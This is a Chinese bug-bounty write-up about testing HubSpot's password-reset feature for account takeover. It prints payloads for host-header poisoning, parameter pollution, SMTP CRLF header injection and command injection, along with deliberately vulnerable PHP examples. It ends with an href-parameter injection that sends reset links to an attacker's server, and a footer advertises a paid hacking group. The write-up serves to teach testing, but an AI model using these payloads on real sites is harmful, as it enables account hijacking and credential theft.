一个漫长的账户劫持漏洞之旅
2023-3-5 23:45:26 Author: 渗透安全团队(查看原文) 阅读量:13 收藏

现在只对常读和星标的公众号才展示大图推送,建议大家能把渗透安全团队设为星标”,否则可能就看不到了啦

一个漫长的账户劫持漏洞之旅

声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

正文

目标的一个子域名是: https://growanz.hubspot.com

当白帽小哥测试身份验证功能的时候,正好有一个忘记注册码(密码忘记) 的功能。

img.png

该功能要求我们输入电子邮件发送一个链接,无需注册号(密码)即可登录.

img_1.png

SQL注入测试

由于有一个email参数,所以后端有某种类型的数据库来处理这些邮件,这使得email参数成为测试SQLI的最佳位置

img_2.png

这里没有发现SQL注入

主机头中毒测试(Host Header Poisoning)

对于开发人员来说,在重置密码URI中使用HOST头值是很常见的

img_3.png

但是这里也没有测出什么结果

负载均衡器主机头覆盖

有时候在用户和服务器之间有一个负载均衡器或反向代理服务器,所以如果开发人员使用HOST报头,他们就会得到负载均衡器的主机,所以开发人员会使用X-Forwarded-Host报头,因为负载均衡器会在X-Forwarded-Host报头中保存原始的HOST报头值

不管怎样,用户不应该修改这个报头,但是一些弱负载平衡器或反向代理根据用户输入重写这个报头,

img_4.png

邮件发送成功,但检查邮件后,发现忘记注册功能的URI仍然包含growanz.hubspot.com

Referer Header

一些开发者希望访问忘记密码接口,需要要来自主子域,这使得他们使用他们的重置密码中的referer头的值

$ForgotPassURI = "https://{$_SERVER['HTTP_REFERER']}/dream-auth-forgot?
registration=$token&email=$email";

img_5.png

发现也不起作用

ORIGIN Header

移到origin头部:

$ForgotPassURI = "https://{$_SERVER['HTTP_ORIGIN']}/dream-auth-forgot?
registration=$token&email=$email";

尝试添加burp collaborator 域名

img_6.png

也没有发现什么

绕过正则表达式

因此,开发人员可能会在前面的技术中使用正则表达式来验证用户输入,如果用户输入与正则表达式匹配,他们就会发送我们的域,而如果不匹配,他们就会从他们的配置文件中发送默认的子域,所以让我们试着绕过它.

绕过匹配包含growanz.hubspot.com的主机

growanz.hubspot.com.mydomain.com

在没有绕过的情况下,通过在词条上使用点来弱化词条,例如"^growanz.hubspot.com$|^example.virtual.host$"

growanzXhubspot.com

growanz.hubspot.com 的末尾绕过匹配。

mydomain.com/growanz.hubspot.com

绕过白名单验证

mydomain.com%[email protected]

mydomain.com%25%32%[email protected]

但之前的旁路(bypass)在前面的的头文件上没有成功

下面来测试email参数

HTTP-Parameter-Pollution (HPP)

有不同类型的应用程序架构用于应用程序开发,如Monolithic,EDA、SOA或微服务

随着微服务在开发中变得越来越流行,因为它有很多在一些旧架构(如Monolithic)中不存在的优势,这将有助于扩大攻击面.

如果目标内部依赖于使用RestFull API相互通信的微服务,咋办?

img_7.png

做了这个图作为我们场景的一个简单例子:

重置密码请求可能会传到一个微服务,该微服务利用JSP处理与数据库有关的请求(例如重置密码的电子邮件),

如果它存在,它将响应业务路由逻辑,将原始请求再次路由到处理SMTP服务的PHP微服务,以发送重置密码邮件。

因此,如果微服务被用于目标,我们可以测试其他攻击,如HTTP参数污染;

img_8.png

根据该表,如果我们在PHP中输入两个参数,它将使用第二个参数,而其他技术如JSP将使用第一个参数。

// HTTP parameter pollution (HPP)
{"email":"[email protected]","email":"[email protected]"}

因此,如果我们的请求被传递给处理数据库的JSP,它将创建重置密码的URI到第一个电子邮件,但当请求再次被路由到PHP时,它将发送重置密码的邮件到第二个电子邮件。

img_9.png

结果也没发现什么东西

攻击链(SMTP注入 && HTTP参数污染)

注意:这里以PHP为例进行说明.并不是说这些攻击只针对PHP,因为这些攻击也适用于其他依赖SMTP解析器和服务的其他技术。

想象一下,如果你的电子邮件地址以这种方式处理

<?php
//It's a simple example of using the mail function
if(isset($_POST['email'])) {
  $to= $_POST['email'];  
  $subject= "Forgot Registration Number";
  $message = "
  <html>
  <body>
  <h1>Example: to login into your account</h1> 
  click on this magic link
  <a>https://growanz.hubspot.com/login?registration=$RegesNum&email=$to</a>
  <html>
  <body>";
  $subject = 'Reset Password';
// Set SMTP headers
  $additional_headers = "From: [email protected]\n" . 
  "Content-type: text/html;";
  $additional_params = "";
  mail($to, $subject$message$additional_headers$additional_params); 
}
?>

除了$additional_headers、$additional_params是可选的,邮件函数中的所有字段都是必须的。

下面开始攻击$to 这个参数:

一些开发者使用$to参数来输入用户的电子邮件而不进行验证,因为他们希望邮件只发送给这个用户,但他们忽略了用户可以添加另一个电子邮件来发送忘记密码的邮件,根据官方文档,你可以使用", "作为分隔符;

但我们需要通过输入受害者电子邮件作为另一个参数将其与HTTP参数污染连接起来,因为当应用程序处理数据库以重置密码时,将发现有效的电子邮件来执行查询;

因此,当处理数据库的微服务发现正确的电子邮件并对其执行数据库查询时,而另一个处理SMTP服务的微服务(如果它实现了错误的验证)将找到受害者电子邮件

// Comma saperator with HPP chain
{"email":"[email protected],[email protected]","email":"[email protected]"}
{"email":"[email protected]","email":"[email protected],[email protected]"}

img_10.png

因此,可以考虑换一下参数的值:

img_11.png

但在检查了电子邮件后,它并没有起到作用;

在官方文档中,你可以使用", "作为分隔符,由于之前在本地测试过这些函数,发现它可以接受官方文档中没有的其他分隔符,例如空格和";",

开发者可能对", "进行验证而对空格或"; "没有进行验证:

// Semiclon saperator with HPP chain
{"email":"[email protected];[email protected]","email":"[email protected]"}
{"email":"[email protected]","email":"[email protected];[email protected]"}
// Space saperator with HPP chain
{"email":"[email protected]%[email protected]","email":"[email protected]"}
{"email":"[email protected]","email":"[email protected]%[email protected]"}

分号分隔符

img_12.png

空格分隔符

img_13.png

因此,旧版本中的$to参数被注入到“to:”报头中,没有任何针对SMTP报头注入攻击的保护,所以让我们尝试一下:

CRLF注入

注意:在Unix系统中,我们可以只添加 \n 作为换行符来进行SMTP头的注入,但在windows系统中,你需要添加 \r\n 来进行SMTP头的注入攻击。

Unix系统(\n url-encoded)

// Carbon Copy (CC:) with HPP chain
{"email":"[email protected]%0Acc:[email protected]","email":"[email protected]"}
{"email":"[email protected]","email":"[email protected]%0Acc:[email protected]"}

// Blind Carbon Copy (BCC:) with HPP chain
{"email": "[email protected]%0Abcc:[email protected]","email":"[email protected]"}
{"email":"[email protected]","email":"[email protected]%0Abcc:[email protected]"}

Windows系统(\r\n url-encoded)

// Carbon Copy (CC:) with HPP chain
{"email":"[email protected]%0D%0Acc:[email protected]","email":"[email protected]"}
{"email":"[email protected]","email":"[email protected]%0D%0Acc:[email protected]"}

// Blind Carbon Copy (BCC:) with HPP chain
{"email": "[email protected]%0D%0Abcc:[email protected]","email":"[email protected]"}
{"email":"[email protected]","email": "[email protected]%0D%0Abcc:[email protected]"}

img_14.png

也没有作用

如果版本稍微新一点,并且在$to参数中存在防止CRLF注入或SMTP头注入的保护措施呢?

作为一种保护,mail()函数开始将$subject$to参数中的换行或回车等控制字符转换为空格。

但幸运的是,这种保护有一个绕过的方法

// HPP chain with Bypass the mail() function protection against email header injection
{"email":"[email protected]\r\n \ncc: [email protected]","email":"[email protected]"}
{"email":"[email protected]","email":"[email protected]\r\n \ncc: [email protected]"}

这样看来,使用的邮件功能是最新的,不容易受到之前的攻击

那么,如果为开发人员使用的任何逻辑注入头中的用户值的电子邮件被传递到$additional_headers参数中呢

攻击$additional_headers参数

$additional_headers参数用于添加开发人员需要的其他头信息,例如,如果邮件包含HTML数据,那么开发人员将需要设置 "Content-type: text/html "头信息,使数据在用户浏览器中被解析为HTML,或者添加 "From: [email protected] "头信息。

因此,如果对于任何开发逻辑,开发人员将用户输入的电子邮件添加到$additional_headers参数中,此时我们应该使用SMTP头注入(CRLF注入)攻击它,因为根据官方文档,防止CRLF注入到$additional_headers参数,这是开发人员的责任

即使是像SMTP头注入这样的攻击,也大多可以在“联系我们(Contact Us forms)”表单中遇到,而不是在重置密码功能上,但有时开发人员会犯一些错误.

OS命令注入

由于 PHP 依赖于 /usr/sbin/sendmail 命令来发送邮件,一些开发者可能更喜欢使用命令行来发送邮件,而不是使用内置的函数。

看下面的这个例子:

$json = file_get_contents('php://input');
$json = json_decode($jsontrue);
$to = $json['email'];
$command = "echo 'Example: to login into your account click on this magic link https://growanz.hubspot.com/login?registration=$token&email=$to | mail -s 'Forgot Password Mail' $to";
exec($command);

在尝试了不同的有效载荷来执行命令后,也没有得到任何结果

电子邮件数组

使用SMTP不仅限于发送重置密码的电子邮件,它也被用来发送一些内部电子邮件,或者作为你在大多数应用程序中遇到的常见功能,诸如订阅等.因此,向所有用户发送电子邮件 "From the documentation "的常见方法之一是将它们添加到一个数组中,例如"$emails",并使用 implode(",",$emails)等函数添加", "作为分隔符,一次性向所有电子邮件发送电子邮件,其算法复杂度将是一个高性能的O(1);

但是大多数情况下,开发人员不会从头开始一次又一次地重写代码,而是复制代码,并根据自己的需要进行编辑

$json = file_get_contents('php://input');
$to = json_decode($jsontrue);
// Send email
mail(implode(",", $to['email']), $subject, $message, $headers);

因此,如果像这样的代码被用于发送重置密码的邮件,它将在一个单一的电子邮件中正常工作,但如果我们试图添加多个包含受害者和攻击者的电子邮件,它将允许我们获得相同的受害者的重置密码邮件。

// Array of emails
{"email":["[email protected]","[email protected]"]}

img_15.png

仍然没有作用;

如果我们看一下错误信息,我们会注意到它告诉我们"$to参数 "不是一个有效的地址,至少在所有这些攻击之后,我的后端代码预测是正确的,尽管没有得到任何漏洞。

参数暴力破解

我们应该利用API的错误信息,尝试使用Arjun,也许会发现一些隐藏的参数

img_16.png

没有任何发现

实际上很奇怪,因为我们这已经有了一个电子邮件参数,所以现在我将手动执行参数暴力破解;

获取了Arjun参数,并将每个参数的值及其参数名称中的所有特殊字符放入其中,以获得一个错误,以使用这个简单的python脚本检测API使用的是哪个参数

params = open("Arjun/arjun/db/large.txt","r").readlines()
params = set(params)
NewParams = set()
for param in params:
    NewParams.add('"'+param.strip()+'"'+":"+'"'+param.strip()+
'\'[email protected]#$%^&*)(?><",')
NewParamsFile = open("new-params","w")
for param in NewParams:
    NewParamsFile.write(param+"\n")

之后,在请求中加入参数,让我们看看会发生什么:

img_17.png

似乎后端使用的href没有被Arjun检测到,(注意:如果你不知道工具在后台做什么,就不要依赖工具),Arjun没有检测到的原因是它为每个参数添加了4位数字作为值,这意味着电子邮件参数值将是无效的,这将使服务器总是响应 "电子邮件参数值无效",因为Arjun根据响应头检查是否有参数改变内容长度,这意味着它是动态的。但这并没有发生,因为电子邮件的值一直是无效的,这使得Arjun没有检测到参数。

img_18.png

如果你了解HTML的基础知识,那么你绝对知道href(超链接)的值永远是URL 所以我想到的第一件事就是

他们为什么把href参数放在这里?

他们在忘记注册的邮件中也使用href参数吗?

所以,为了得到上述问题的答案,我在href参数中注入了burp collaborator

img_19.png

下面来看看邮件

img_20.png

我们收到了一封来自hubspot.com域名的邮件

img_21.png

这个链接,当点击它,而不是让用户登录,将请求我的burp collaborator服务器,这将允许我接收受害者凭据


付费圈子

欢 迎 加 入 星 球 !

代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员

进成员内部群

星球的最近主题和星球内部工具一些展示

关 注 有 礼

关注下方公众号回复“666”可以领取一套领取黑客成长秘籍

 还在等什么?赶紧点击下方名片关注学习吧!


群聊 | 技术交流群-群除我佬

干货|史上最全一句话木马

干货 | CS绕过vultr特征检测修改算法

实战 | 用中国人写的红队服务器搞一次内网穿透练习

实战 | 渗透某培训平台经历

实战 | 一次曲折的钓鱼溯源反制

免责声明
由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
好文分享收藏赞一下最美点在看哦

文章来源: http://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247499507&idx=2&sn=116a500356ba561630dcc5047a335bb4&chksm=c176035cf6018a4ad7284fa796bd50470281447c873f388cb4f9fd6c809a2337fc428872e525#rd
如有侵权请联系:admin#unsafe.sh